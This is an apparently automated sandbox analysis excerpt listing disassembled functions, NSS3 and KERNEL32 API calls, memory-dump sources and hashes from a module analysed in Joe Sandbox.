Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6DDBBD), ref: 6C6DDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6DDFEE

Part of subcall function 6C6786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678716
Part of subcall function 6C6786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678727
Part of subcall function 6C6786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C67873B
Part of subcall function 6C6786D0: PR_Unlock.NSS3(?), ref: 6C67876F
Part of subcall function 6C6786D0: PR_SetError.NSS3(00000000,00000000), ref: 6C678787

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6DDBBD), ref: 6C6DDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6DDBBD), ref: 6C6DE007

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction ID: 08c4237310f54556adf5257dc1d35a89a4244c83728e9675d584c8418cce20b1
Opcode Fuzzy Hash: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction Fuzzy Hash: 3831D7B1A0420157D711AA7ADD84A9B73B89F5530CF060135E909D7B52FB31E918C6FB

Function 6C656C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C656C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C656CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C656CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C778FE0), ref: 6C656CFE

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction ID: 5634ca65450e1953ecc60d883ca59a0d590e03f3b393b1a9f331f98c01907e5d
Opcode Fuzzy Hash: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction Fuzzy Hash: 6C318CB1A002169FEB08CF65C891ABFBBF5EF89348B60452DD905E7710EB31D915CBA4

Function 6C764F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C764F5D
free.MOZGLUE(?), ref: 6C764F74
free.MOZGLUE(?), ref: 6C764F82
GetLastError.KERNEL32 ref: 6C764F90

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction ID: bd66aa84d210bcda55b9139395168e0b33b97f101d16059c4303d1dafbc349a2
Opcode Fuzzy Hash: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction Fuzzy Hash: C3312B75A002095FEB01DFAADD55BDFB3B8FF45358F080235EC15A7B81DB35A9048691

Function 6C6ADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADDF4

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE17

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C6ADE80

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 0c780908c466536dd9534d5c588b753a4bcc7aa869dc61ef339ee04ba1019dcb
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 7231B6B19017429BE700CF56D880692F7E4FFA5318B24C229DC1D87B41E771F9A6CB94

Function 6C69FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F
PR_Unlock.NSS3(78831D74), ref: 6C69FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C69FED6

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction ID: 83c8d128666619684e21d0b890191e3c085b78aa86dbf18d7be79b70081536c4
Opcode Fuzzy Hash: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction Fuzzy Hash: 22212331A00626BBDB109F65E844BAA73B4FF05358F1A0134ED04A7E42E731E965CBDA

Function 6C6A3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FFE
PR_SetError.NSS3 ref: 6C6A401A

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction ID: ac442ebf1e6d5198cc2d2af51020ab2fa5031f457a3815c022b71a7e7adbede8
Opcode Fuzzy Hash: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction Fuzzy Hash: 673180705047048FD700AFAAD5846AEBBF0FF89354F11592ED98987B00EB70E885CB9A

Function 6C694FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695064

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction ID: 89d850ee75987e8177842cf50450b4f4b27b73f9720fba99185998acb81b7894
Opcode Fuzzy Hash: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction Fuzzy Hash: DB3127B0A05606DFDB00EF68C484A6ABBF4FF09345F118669E859D7700E731E890CB95

Function 6C6B9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BA71A,FFFFFFFF,?,?), ref: 6C6B9FAB

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6B9FD9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA009
PR_SetError.NSS3(FFFFE013,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA045

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 73f1f97476c8ea0932abe1c620dde10c51f275a44536d345374d98b861648c8c
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 6521C6B4600206ABF7009F15DC50F66B7A9FF9535CF10C128D82997B82FB76E828CB94

Function 6C6C2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C2E08

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C6C2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6C2E95

Part of subcall function 6C6B1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B1228
Part of subcall function 6C6B1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C6B1238
Part of subcall function 6C6B1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B124B
Part of subcall function 6C6B1200: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B125D
Part of subcall function 6C6B1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C6B126F
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C6B1280
Part of subcall function 6C6B1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C6B128E
Part of subcall function 6C6B1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C6B129A
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6B12A1

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a51d854b2c2187627cc4bf75380a88774b15328c879bb4e2fa4f2b81387d0eaa
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: F621D4B1E003455BE700CF549D44BAA3764AF9630CF111269DD087B752F7B1E69983AA

Function 6C67ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67ACC2

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C652AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C650A1B,00000000), ref: 6C652AF0
Part of subcall function 6C652AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C652B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C67AD5E

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

CERT_DestroyCertList.NSS3(?), ref: 6C67AD36

Part of subcall function 6C652F50: CERT_DestroyCertificate.NSS3(?), ref: 6C652F65
Part of subcall function 6C652F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C652F83

free.MOZGLUE(?), ref: 6C67AD4F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction ID: 1291df39e8fb8ef07b23470c6e9bc4e18b6918a77df3a0da5a3ecec13f47f094
Opcode Fuzzy Hash: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction Fuzzy Hash: 9821A4B1D002048BEB20DFA4D9055EE77B4AF05248F555469D8057B701F731EA55CBB9

Function 6C6A3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6A3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C6A3CAE
PR_Unlock.NSS3(?), ref: 6C6A3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3D02

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction ID: de8aee1d72a422ec2ef46b8842cf72c5222f5ebe1cf775f2137b5d49cc9c3c51
Opcode Fuzzy Hash: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction Fuzzy Hash: 3411B475A00204AFD700AF64DC48E9A37B9EF0A368F154074ED058B712E731ED55CBE5

Function 6C6AECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C6AF0AD,6C6AF150,?,6C6AF150,?,?,?), ref: 6C6AECBA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C6AECD1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C6AED02

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C6AED5A

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
